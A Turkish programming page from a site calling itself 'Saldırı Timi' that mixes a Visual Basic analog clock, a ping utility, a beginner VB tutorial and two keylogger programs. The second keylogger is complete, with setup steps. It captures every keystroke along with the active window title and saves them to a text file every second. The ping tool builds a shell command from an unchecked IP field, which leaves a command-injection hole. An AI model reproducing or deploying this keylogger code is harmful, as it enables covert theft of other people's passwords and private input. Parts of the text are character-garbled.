|Saldırı Timi| Sitemize Hoşgeldiniz

Programlama

Visual Basic

cok kolay ve mukemmel saat yapalim

Private Sub Form_Load()

Dim aci, i, t

AutoRedraw = True

Timer1.Interval = 1000 ‘ 1 saniye

Timer2.Interval = 10 ‘1 saniye

‘zemin desenini çiz

ScaleMode = 3 ‘pixel moduna geçir

For i = 0 To ScaleHeight

Line (0, i)-(ScaleWidth, i), i * 256

Next

ScaleMode = 1 ‘normal moda dön

‘form yüksekli?ini ve genisligini ayni yap

Width = ScaleHeight

‘matematiksel koordinatlara göre yeniden ölçekle

Scale (-20, 20)-(20, -20)

t = “GenclerMekani.net”

CurrentX = -TextWidth(t) / 2 ‘ orta noktayy bul

CurrentY = -1

Print t

t = “ßy_Sky”

CurrentX = -TextWidth(t) / 2

CurrentY = -4

Print t

‘saat yuvarlagini ciz

DrawWidth = 5

Circle (0, 0), 19, 65535

DrawWidth = 2

‘saniye cizimlerini ciz

For aci = 0 To 360 Step 6

Line (18 * Cos(aci * 3.1415 / 180), 18 * Sin(aci * 3.1415 / 180))-(19 * Cos(aci * 3.1415 / 180), 19 * Sin(aci * 3.1415 / 180)), QBColor(5) ‘saniyelerin arka rengi

Next

‘saat cizgilierini ciz

DrawWidth = 4

For aci = 0 To 360 Step 6 * 5

Line (18 * Cos(aci * 3.1415 / 180), 18 * Sin(aci * 3.1415 / 180))-(19 * Cos(aci * 3.1415 / 180), 19 * Sin(aci * 3.1415 / 180)), QBColor(15) ‘saatlerin arka rengi

Next

DrawMode = 7 ‘xor

End Sub

Private Sub Timer1_Timer()

Dim aci, saniye, dakika, saat, i

Static sx, sy, dx, dy, stx, sty

Caption = Time

DrawWidth = 2

Line (0, 0)-(sx, sy), QBColor(6) ‘saniyeyi çiz

saniye = Second(Time) ‘saniyeyi saatten al

aci = -saniye * 6 + 90 ‘her bir saniye +6 derecedir 360 derece 60 saniyedir

sx = 18 * Cos(aci * 3.1415 / 180)

sy = 18 * Sin(aci * 3.1415 / 180)

Line (0, 0)-(sx, sy), QBColor(6) ‘saniyeyi çiz

DrawWidth = 3

Line (0, 0)-(dx, dy), QBColor(11) ‘yelkovany çiz

dakika = Minute(Time) ‘dakikayi saatten al

aci = -dakika * 6 + 90 ‘her bir dakika 6 derecedir 360 derece / 60 dakikadir

dx = 18 * Cos(aci * 3.1415 / 180)

dy = 18 * Sin(aci * 3.1415 / 180)

Line (0, 0)-(dx, dy), QBColor(11) ‘yelkovani çiz

DrawWidth = 3

Line (0, 0)-(stx, sty), QBColor(12) ‘akrebi ciz

saat = Hour(Time) ‘saati saatten al

aci = -saat * 30 + 90 ‘her bir saat 30 derecedir 360 derece / 12 saat

stx = 12 * Cos(aci * 3.1415 / 180)

sty = 12 * Sin(aci * 3.1415 / 180)

Line (0, 0)-(stx, sty), QBColor(12) ‘akrebi ciz

‘saat basi ise zil cal

If Minute(Time) = 0 Then Beep

End Sub

Private Sub Timer2_Timer()

Static sls

sls = (sls + 1) Mod 360

Dim aci

Dim sx, sy, dx, dy, stx, sty

DrawWidth = 1

aci = -sls * 3.6 + 90 ‘her bir saniye 3.6 derecedir. 360 derece/ 100

sx = 3 * Cos(aci * 3.1415 / 180)

sy = 3 * Sin(aci * 3.1415 / 180)

Line (5, 5)-(5 + sx, 5 + sy), QBColor(10) ‘sagdaki kucuk ibre

Line (-5, 5)-(-5 – sx, 5 – sy), QBColor(10) ‘soldaki kucuk ibre

End Sub

visual basic keylogger kodlari

text1

Module:
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib “user32” Alias “DrawTextExA” (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib “user32” (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib “user32” (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib “user32” (ByVal vKey As Long) As Integer
Declare Function SetRect Lib “user32” (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
&l039;Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr&l036;(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
Form1.Text1.Text = Form1.Text1.Text & Ret
End If
End Sub

Form_Load:
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
Form_Unload:
KillTimer Me.hwnd, 0

Ping Atma ve Veri Alma
Componentler
form1->frmmain
text1->txtnumber
text2->txtIP
ext3->txtoutpu
General:
Option Explicit

Const SYNCHRONIZE = &H100000
Const INFINITE = &HFFFF
Const WAIT_OBJECT_0 = 0
Const WAIT_TIMEOUT = &H102

Private Declare Function SendMessage Lib “User32” Alias “SendMessageA” (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function OpenProcess Lib “kernel32” (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WaitForSingleObject Lib “kernel32” (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CloseHandle Lib “kernel32” (ByVal hObject As Long) As Long

Form_Load:
Dim ShellX As String
Dim lPid As Long
Dim lHnd As Long
Dim lRet As Long
Dim VarX As String

frmMain.MousePointer = 11
If txtIP.Text <> “” Then
DoEvents
ShellX = Shell(“command.com /c ping -n ” & txtNumber.Text & ” ” & txtIP.Text & ” > C:&l92;log.txt”, vbHide)

lPid = ShellX
If lPid <> 0 Then
lHnd = OpenProcess(SYNCHRONIZE, 0, lPid)
If lHnd <> 0 Then
lRet = WaitForSingleObject(lHnd, INFINITE)
CloseHandle (lHnd)
End If
Beep
frmMain.MousePointer = 0
Open “C:&l92;log.txt” For Input As l1
txtOutPut.Text = Input(LOF(1), 1)
Close l1
End If
Else
frmMain.MousePointer = 0
VarX = MsgBox(“You have not entered an ip address or the number of times you want to ping.”, vbCritical, “Error has occured”)
End If

——————————————————-

[b]forma 2 textbox açın (text1-text2)

2 tanede timer ekleyin (timer1 – timer2)

text1’in multiLine özelliği true olsun

timer1 zamanı “5” olsun

timer2 zamnı ise “1000” olsun (1 sn)

evet bu kadar aşağıdaki kodları kodları olduğu gibi kod penceresini yapıştırın !
Kod:
Private Declare Function GetAsyncKeyState Lib “user32” (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib “user32” (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32” () As Long
Private Declare Function GetWindowText Lib “user32” Alias “GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib “user32” Alias “GetWindowTextLengthA” (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib “kernel32” Alias “GetComputerNameA” (ByVal lpBuffer As String, nSize As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Form_Load()

On Error Resume Next

ChangeChr(33) = “[PageUp]”
ChangeChr(34) = “[PageDown]”
ChangeChr(35) = “[End]”
ChangeChr(36) = “[Home]”

ChangeChr(45) = “[Insert]”
ChangeChr(46) = “[Delete]”

ChangeChr(48) = “=”
ChangeChr(49) = “!”
ChangeChr(50) = “‘”
ChangeChr(51) = “^”
ChangeChr(52) = “+”
ChangeChr(53) = “%”
ChangeChr(54) = “&”
ChangeChr(55) = “/”
ChangeChr(56) = “(”
ChangeChr(57) = “)”

ChangeChr(186) = “ş”
ChangeChr(187) = “=”
ChangeChr(188) = “,”
ChangeChr(189) = “-”
ChangeChr(190) = “.”
ChangeChr(191) = “ö”

ChangeChr(219) = “ğ”
ChangeChr(220) = “ç”
ChangeChr(221) = “ü”
ChangeChr(222) = “i”

ChangeChr(86) = “Ş”
ChangeChr(87) = “+”
ChangeChr(88) = “;”
ChangeChr(89) = “_”
ChangeChr(90) = “:”
ChangeChr(91) = “?”

ChangeChr(119) = “Ğ”
ChangeChr(120) = “Ç”
ChangeChr(121) = “Ü”
ChangeChr(122) = “İ”

ChangeChr(96) = “0”
ChangeChr(97) = “1”
ChangeChr(98) = “2”
ChangeChr(99) = “3”
ChangeChr(100) = “4”
ChangeChr(101) = “5”
ChangeChr(102) = “6”
ChangeChr(103) = “7”
ChangeChr(104) = “8”
ChangeChr(105) = “9”
ChangeChr(106) = “*”
ChangeChr(107) = “+”
ChangeChr(109) = “-”
ChangeChr(110) = “.”
ChangeChr(111) = “/”

ChangeChr(192) = “”””
ChangeChr(92) = “é”
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) – 1)

If WindowText <> LastWindow Then
If Text1 <> “” Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & “==============================” & vbCrLf & WindowText & vbCrLf & “==============================” & vbCrLf
LastWindow = WindowText
End If
End Function

Private Sub Timer1_Timer()

‘when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & “”
End If

‘a-z A-Z
For i = Asc(“A”) To Asc(“Z”)
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If

End If
Next

‘1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If

End If
Next

‘;=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i – 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next

‘[]’
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i – 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next

‘num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & “”
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & “”
End If
End If

Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next

‘for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & ” ”
End If

‘for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If

‘for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & ” ”
End If

‘for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & “”
End If

‘for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & “”
End If

‘for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & “”
End If

‘for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & “”
End If

‘tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & ” [Tab] ”
End If

‘escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & ” [Esc] ”
End If

‘insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

‘page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

‘left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & ” ”
End If
End If

End Sub

Private Sub Timer2_Timer()
On Error Resume Next

Text2.Text = “c:Keylogger.txt”
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub

visual basic yeni baslayanlar icin

Bölüm 1 – Visual Basic’e giris

Konular:

Modül
Form

Prosedür
Prosedür Kurallari

Objelerin olaylari

Form_Load olayi

Degisken

Degiskenleri neden kullaniriz

Degisken Kurallari

YENI TANIM : MODÜL

Modüller; içlerine sadece ve sadece kod yazabilecegimiz Visual Basic kod sayfalaridirlar. Modüllerde obje çizimi veya yerlestirilmesi bulunmamaktadir. “Not Defteri” gibi bos bir yazi alanini andirir. Yani MS Word veya MS Wordpad deki gibi metin düzenleme özelligi yoktur(Kalin-Italik-Alti Çizgili). Modüllere; daha sonra görecegimiz, prosedürler ve genel tanimlamalar yazilir.

YENI TANIM :FORM

Form, Visual Basic’te yapacagimiz programlarin objelerini yerlestirdigimiz dizayn edilebilir tasarim penceresidir. Yani program içinde görünecek veya gizli kalacak bütün objeler, bu form denen objeye yada objelere yerlestirilir.

Ayrica bir form kod penceresi de içermektedir. Bu bölüme ise; forma çizdigimiz (yerlestirdigimiz) objelerin olaylarinda neler gerçeklesmesini istiyorsak bu kodlari uygun olarak bu objelerin kod kisimlarina gelerek yazariz. Formun kod penceresi aynen bir modül gibidir.

YENI TANIM : PROSEDÜR

Prosedür; Visual Basic’te hazirladigimiz uygulamanin(program) olaylarinin ve islemlerinin gerçeklesmesi için kodlarin yazildigi bölümlere verilen isimdir.

Yani programin kodunu yazarken istegimize göre istedigimiz komutlari, görevleri, islemleri; istedigimiz sekilde yazamayiz. Iste bunun için Visual Basic’in, programi çalistirinca hangi islemin; nerede, ne zaman, nasil, hangi yöntemle yapilacagini kavramasi ve buna göre islemi uygun ve zamaninda yapmasi için prosedürler kullaniriz. Yani prosedürleri paragraf gibi düsünebiliriz. Nasil bir kompozisyonda yaziyi belirli bir paragraf düzenine göre yaziyorsak, Visual Basic’te de kodlari ve islemleri belirli bir kurala göre yazmak gerekmektedir.

Visual Basic içerisinde iki tip prosedür vardir. Bunlardan biri “Sub” digeri “Function” dur. Visual Basic’te program kodlari sadece ve sadece prosedürlere yazilabilir. Paragraflarda oldugu gibi prosedürlerin bir baslangici ve bir bitisi vardir.

Örnegin;

Sub Deneme()

End Sub

Burada belirtmis oldugumuz örnek; Deneme adinda bir prosedür’dür. Görüldügü gibi kalip bir kelime kullanip (Sub) prosedür ismini yaziyoruz, daha sonra da prosedürün bittigini belirtmek için “End Sub” ifadesini kullaniyoruz.

Biz zaten Visaul Basic’te Sub yazdiktan sonra herhangibi bir prosedür ismi girip, Enter tusuna bastigimizda, Visual Basic; “End Sub” ifadesini kendi eklemektedir. Iste bu yüzden bir daha “End Sub”yazmaya gerek yoktur.

PHP- Kodu:
Sub Deneme()

……………..

……………..

End sub

“………….” diye belirttigimiz alanlara da prosedürün kodlarini yaziyoruz. Bu alana prosedür çagrildiginda Visual Basic’in yapmasini istedigimiz kodlari yaziyoruz. “…….” diye belirtilen alana istedigimiz kadar uzunlukta kod yazabiliriz.

Bir prosedür\’ü çagirmak için ismini yazmak gerekir. Örnekte gördügünüz gibi “Deneme” adli basit bir prosedür’ü çagirmak için sadece ismini yazmak yeterlidir.

Tabi bu bir programda bir prosedür bulunur demek anlamina gelmiyor. Istedigimiz kadar prosedür olusturabiliriz ve zaten en basit programlarda bile en az 20, 30 tane prosedür bulunmaktadir. Buna karsin Photoshop, Autocad gibi büyük programlarda on binlerce prosedür bulunmaktadir.

Prosedür Kurallari:

Prosedür isimleri asagidaki kurallara uydugu sürece her sey olabilir.

Birkaç örnek prosedür ismi : Deneme, A, B, c,d, isimsiz, Prg12, iyi, As5, Q3, m7m…..

1. Prosedür isimleri arasinda bosluk olamaz. Yani prosedür isimleri bosluk içeremez.
Örnek : merhaba arkadaslar , deneme görevi, Atatürk Baraji ….

2. Prosedür isimleri en fazla 255 karakterden olusabilir. Yani prosedür isimlerinin uzunlugu 255’i geçemez.
Örnek : abcdeeeeee…………….eeeee (255 tane) – böyle bir prosedür ismi olamaz.

3. Prosedür isimleri arasinda :;,./’#][!”£$%^&*() gibi karakterler kullanilamaz. Sadece _ (alt çizgi) isareti kullanabilir.
Örnek : word” , kelime[ , cumle* gibi prosedür isimleri olamaz,
fakat bu_donem, doviz_burosu gibi prosedürler olabilir.

4. Prosedür isimlerinin ilk karakteri mutlaka harf olmalidir, yani sayi veya “_” (alt çizgi) ile baslayan prosedür ismi olamaz.
Örnek : _hazir, _gidelim, 3otobus, 5yol gibi prosedür isimleri olamaz.
Fakat hazir_ , otobus3 gibi prosedür isimleri olabilir.

5. Bir modülde veya formda birden fazla ayni isimde prosedür belirtilemez.

6. Prosedür isimleri arasinda büyük küçük harf ayrimi yoktur. Yani “DENEME” ile “DENeme” veya “denEME” vey “dEnEmE” ayni prosedüri belirtmektedir. Zaten bir prosedürü belirtirken , prosedüri nasil belirtiyorsak(büyük kücük harf bakimindan) bu prosedürü daha sonra da kullandimizda Visual Basic bu prosedürü, hemem belirtildigi sekile otomatik olarak döndürür.
Yani biz “DeNeME” adiyla bir prosedür belirttikten sonra bunu “dENEme” sekliyle de kullansak Visual Basic onu hemen ilk belirtilme sekline çevirir.

Sub ile belirtebildigimiz prosedürlerin yaninda bir de “Function” olarak belirtebildigimiz prosedürler bulunmaktadir. Temel olarak “Sub” ile “Function” arasinda büyük fark yoktur. Biz bu farki ilerleyen bölümlerde ele alacagiz. “Function” ile belirtebildigimiz prosedürün belirtme asamasinda veya islem asamasinda “Sub” dan bir farki yoktur. Yani function; sub ile ayni sekilde belirtilir.

Function Okul()

End Function

Function da da; aynen sub da oldugu gibi bir baslangiç ve bitis bulunmaktadir ve yine aynen sub daki gibi bu prosedür çagrildiginda gerçeklesmesini istedigimiz olaylari asagida gördügümüz “……” alanina yazariz.

Örnegin;

Function Okul()

……………..

End function

* Tabiki function isimleri de prosedür ismi kurallarina uygun olmalidir.

Objelerin olaylari

Her objenin mutlaka bir ismi vardir. Isimsiz bir obje olamaz. Tabi ki form ve modüllerinde isimleri vardir. Hemen hemen obje bir veya birden fazla (çogunlukla) olay içermektedir. Bu olaylar, kullanici programi kullanirken, objelere yapmis oldugu çesitli olaylardir. Örnek: Bir butona tiklatilmasi olayi, bir metin kutusuna yazi girilme olayi, bir onay kutusuna isaret koyma olayi…. gibi. Iste bu olaylarda her obje bu olay gerçeklestiginde yapilmasi istenen prosedürü otomatik olarak çagirir.

Yani; form üzerine yerlestirdigimiz bir butona, tiklatildiginda yapilmasini istedigimiz olayi belirli bir prosedüre yazariz. Butona tiklatildiginda, buton objesi; bu olayi otomatik olarak çagirir.

Örnek olarak alacagimiz bir butona, tiklama (click) olayinda yani butona tiklatildiginda) “……” islemini (burada islem önemli degildir-bu yüzden “…..” seklinde ifade ettik) yapmasini istiyoruz. Objenin (yani butonun) ismi “buton1”

Butona form üzerinde; çift tiklattigimizda,

Private Sub buton1_Click()

End Sub

Private, daha sonra görecegimiz bir ifadedir. Bu yüzden “Private” anahtar kelimesini görmezden geliyoruz.

Sub buton1_Click()

End Sub

Butonun ismi “buton1” oldugundan; biz butona çift tiklattigimizda, Visual Basic; tiklatilan objenin, varsayilan özelligini yani “tiklama ( click ) “ olayininin baslangiç ve bitisini otomatik olarak ekler ( yukarda göreüldüü gib) . Burda dikkat edilmesi gereken nokta ise; “_” alt çizgi isaretidir. Objenin ismi ile olayi arasinda mutlaka “_” altçizgi vardir.

Tabiki bir butonun tiklama (click) olayindan baska birçok olayi daha vardir. Örnegin: KeyPress (Tus Basimi), MouseMove(Imleçi buton üzerinde hareket ettirme), GotFoucs (Butonun aktif hale gelmesi) …. gibi. Bu ve bunun gibi birçok olayi ileride inceleyecegiz.

Bu kisimdan sonra yapilan bütün örnekler ve islemler “Deneme” adli sub prosedürü içine yazilacaktir. Siz bu prosedürü aynen yazip çagirmak için, hangi olay sonucunda gerçeklestirilmesini istiyorsaniz, o olaydan bu prosedürü çagirmaniz gerekecektir.

Örnegin; Size gösterdigimiz örnek bir kod’u aynen Visual Basic içine kopyalayip, çalistirabilirsiniz. Fakat; bu olayi yani deneme adli prosedürü çagirma islemini gerçeklestirmek için, örnegin bir butonun tiklama(click) olayina prosedür ismini yazarak çagirabilirsiniz.

Private Sub BenimButon1_Click
[color=”Yellow”]Deneme[/color]
End Sub

Sub Deneme

&񗝈Islemler

End Sub

“Form_Load” olayi

YENI TANIM : Form_Load

Bir form yüklendiginde; o formun “Form_Load” olayi çagrilir. Iste bu bölüm programinizin ilk baslangiç noktasidir. Yani ilk olarak (bazi istisnalar hariç) bu olay çagirilir. Örnegin, MS Word’ü açtiginizda, Word açilincaya kadar geçen (kisa da olsa) sürede, Word; kendi ayarlarini kullanici isimlerini, kisaltmalari, sablonlari ….. yükler. Sizde programlarinizda kayitlarinizi, ayarlarinizi ve bunun gibi olaylari yükleyebilirsiniz.

* Önemli olan nokta ise, bildiginiz gibi objelerin olaylarinin çagrilacagi prosedürler, [Obje ismi]_[Obje olayi] (buton1_Click) seklinde çagirilirlar. Ancak formun ismi ne olursa olsun, form’un load (yüklenme) olayinda Form1_Load, Fr3_Load, obj_Load seklinde olmaz, sadece ve sadece “Form_Load” seklinde olur. Çünkü bir formda tek bir form vardir ancak birçok obje olabilir.

Eger birden fazla form kullaniyorsaniz, hangi formun önce açilacagini ayarlamak için {Project} Menüsünden “[Proje Ismi] Properties” adli menü seçenegini tiklayin. Daha sonra “Startup Object” yazan yerin altindaki seçenek kutusundan, program açildiginda ilk olarak açilmasini istediginiz, formu seçiniz. En son olarak “OK” butonuna tiklayip bu pencereyi kapatiniz. Artik programi çalistirdiginizda, seçmis oldugunuz form açilacaktir.

Önemli bir nokta….

Belirttigimiz gibi “Visual Basic’te program kodlari sadece ve sadece prosdürlere yazilabilir”. Yani bir prosedür ancak ve ancak baska bir prosedur içinden çagirilir. Iste burada aklimizda bir soru olusuyor. Eger bir prosedür’ü baska bir prosedür tarafindan cagiriyorsak, o prosedür’ü hangi prosedür çagiriyor?

Bu soruyu iki bölümde yanitlamak mümkündür.

1 – Bilindigi gibi; Visual Basic obje tabanli bir programlama yazilimidir. Bu nedenle program açilista bir pencere olusturup bunu görüntüler(tabi ki istege göre bu özellik devre disi birakilabilinir). Pencere açildiginda formda düzenledigimiz objelerin olaylarindan (örnegin; bir butonun tiklanmasi (buton1_Click gibi) veya bir yazi kutusuna yazinin girilmesi olayi) bu kodlari çagirabiliriz.
Örnek: Bir butona tiklayarak bir dosya silme islemi gerçeklestirebiliriz.
Veya; program ilk açildiginda, form’un yüklenmesi (yukarida bahsettigimiz “Form_Load” ifadesi) asamasinda yapmak istedigimiz olayi gerçeklestirebiliriz. Örnek: Program kayitlarini okuyabiliriz ve ayarlari bunlara göre düzenleyebiliriz.

2- Sub Main:

Eger Visual Basic’de obje tabanli bir proje yapmiyorsaniz o zaman hiç obje kullanmak gerekmeyebilir. Iste böyle durumlarda bir olayin bütün programin islemini veya islemlerini baslatmasi gerekmektedir. Bu yüzden, “Sub Main” adli ifadeyi kullanmak gerekir.Bu ifade aynin bir form’un yüklenme (load) olayi gibi program ilk açildiginda çalistirilir. Programi “Sub Main” ifadesiyle baslatmak için {Project} Menüsünden “[Proje Ismi] Properties” adli menü seçenegini tiklayin. Daha sonra “Startup Object” yazan yerin altindaki seçenek kutusundan, program açildiginda ilk olarak açilmasini istediginiz, formu seçiniz. En son olarak “OK” butonuna tiklayip bu pencereyi kapatiniz. Artik programi çalistirdiginizda, “Sub Main” ifadesi çalisacaktir.

* Eger Windows tabanli ve obje görünümlü bir program yapiyorsaniz bu seçenegi seçmeyiniz.

YENI TANIM : DEGISKEN

Visual Basic’te yapmis oldugunuz programlar içerisinde; degisken denilen ve program içinde kullandiginiz degerleri geçici veya sürekli olarak tutan kaliplar bulunmaktadir.

Degiskenler; programlar hazirlarken kullandigimiz (anlik veya sürekli) veri degerlerini hafizada tutmaya yararlar. Nasil bir Word dosyasi; doküman içindeki yazilari, dökümanin ayarlarini …. içinde tutuyorsa, degiskenlerde belirtilen degerleri hafizada tutmaya yarar. Tabiki yine bu word dosyasini örnek alirsak; Word dosyasina yazip kaydettigimiz verileri degistirmek veya sonra onlardan bilgi almak mümkündür.

Degiskenlerde de veriyi daha sonra alma veya degerini degistirme mümkündür.

Bir degiskenin bir ismi ve bir degeri bulunmaktadir.
Matematikten bildigimiz gibi;

X = 3 + 4 / 2

… gibi bir esitlikte X bir degiskendir. Burada “X” degiskenin ismi “=” den sonraki kisimdan alinacak sonuçta; “X” degiskeninin degeri olacaktir. Yani bu ifade de “X” isimli bir degisken bulunmaktadir ve degeri 5’tir. Visual Basic’in matematikten nerdeyse hiçbir farki yoktur. Yani çogu matematik kurali Visual Basic’in de kuralidir.

Örnegin;

Bildiginiz gibi matematikte öncelik islem sirasi çarpmanin ve bölmenindir, iste bu yüzden yukarida ki ifade de “3 + 4 / 2” isleminde önce bölme islemi yapilir. Bu matematiksel bir kuraldir ve aynen Visual Basic’de de geçerlidir. Yani 3 + 4 islemini ilk önce yapip ta sonucu ikiye bölemeyiz. Öncelikle 4/2 isleminin sonucunu bulup sonra 3 degerine eklemeliyiz.

Peki degiskenlerin görevi nedir, neden degisken kullaniriz?

Degiskenler belirttigimiz gibi bir degeri belirli bir süre (geçici veya sürekli olarak – geçici veya sürekli olmasi belirlenebilir) hafizada tutmaya ve islemlerimizde bizlere yardimci olmaya yaramaktadir.

Bir örnek vermek gerekirse;

Hotmail’den hesabiniz varsa; siz hotmail’in sayfasina girip e-mail hesabiniza girince Hotmail sizin kullanici isminizi hafizaya alir (cookie dosyasina kaydeder), yani bir degiskene sizin kullanici isminizi atar. Daha sonra siz baska bir Internet Explorer (veya herhangi bir browser) açinca ve hotmail’in sayfasina girdiginizde, hotmail kullanici isminizi otomatik olarak yazmis olur (cookie dosyasindaki degiskeni okuyarak) . Size sadece sifrenizi girerek onaylama butonuna basarak e-maillerinize ulasmak kalir.

[size=”4″]UYGULAMA:[/size]

Simdi bunu bir uygulama ile açiklayalim;

Bilgisayarinizin IP adresi 212.12.34.56 olsun, ve hotmail kullanici hesabiniz (deneme@hotmail.com) yani &񗝌deneme” olsun. Siz hotmail’de e-mail hesabiniza girince, hotmail bilgisayariniza bir cookie (çerez) dosyasi ekler ve bu dosya içine kullanici ismini yazar. Böylece bir sonraki açilista eger cookie dosyalari içinde hotmail’in cookie si varsa o zaman hotmail bu sayfayi görünür hale getirmeden otomatik olarak, kullanici ismi kismina bu dosyadan okuduüu degiskenin degerini yazar.
Iste bu örnekte de gördügünüz gibi; degiskenler programlarda ve islemlerde bize yardimci olan ve kolaylik saglayan sistemlerdir.

Baska bir örnek vermek gerekirse;

Windows’unuzu açtiginizda görmüs oldugunuz bütün ayarlar aslinda bir tür degiskendir. Örnek olarak; klavyenizin dili, ekranin çözünürlügü, bilgisayarin kullanici ismi….

Bu bütün ayarlar bir tür degiskendir ve hem isimleri, hem de degerleri vardir. Aslinda her bir dosya bir degisken toplulugundan olusan bir gruptur diyebiliriz. Çünkü bir Word dokümaninda; bu dökümanin yazisi, sayfa numaralarinin olup olmadigi, resim olup olmadigi, dipnotun olup olmadigi … gibi birçok degisken bu dosyanin içine kaydedilir. Daha sonra bu degiskenler dosyadan çagirilir. (Nasil çagirildigi veya nasil kaydedildigi bizim için önemli degil)

Degisken kurallari:

Degiskenlerin isimleri asagidaki kurallara uydugu sürece hersey olabilir. Degiskenlerin degerleri, degisken türlerine göre belirli limitler alirlar ve belirli formatlarda kullanilirlar. Bu konuyu daha sonra görecegiz.

Birkaç örnek degisken ismi : Deneme, A, B, c,d, isimsiz, bugün, iyi, As5, Q3, m7m…..

1. Degisken isimleri arasinda bosluk olamaz. Yani degisken isimleri bosluk içeremez.
Örnek : merhaba arkadaslar , deneme görevi, Atatürk Baraji ….

2. Degisken isimleri en fazla 255 karakterden olusabilir. Yani degisken isimlerinin uzunlugu 255’i geçemez.
Örnek : abcdeeeeee…………….eeeee (255 tane) – böyle bir degisken ismi olamaz.

3. Degisken isimleri arasinda :;,./’#][!”£$%^&*() gibi karakterler kullanilamaz. Sadece _ (alt cizgi) isareti kullanabilir.
Örnek : word” , kelime[ , cumle* gibi degisken isimleri olamaz,
fakat bu_donem, doviz_burosu gibi degiskenler olabilir.
4. Degisken isimlerinin ilk karakteri mutlaka harf olmalidir, yani sayi veya “_” (alt cizgi) ile baslayan degisken ismi olamaz.
Örnek : _hazir, _gidelim, 3otobus, 5yol gibi degisken isimleri olamaz.
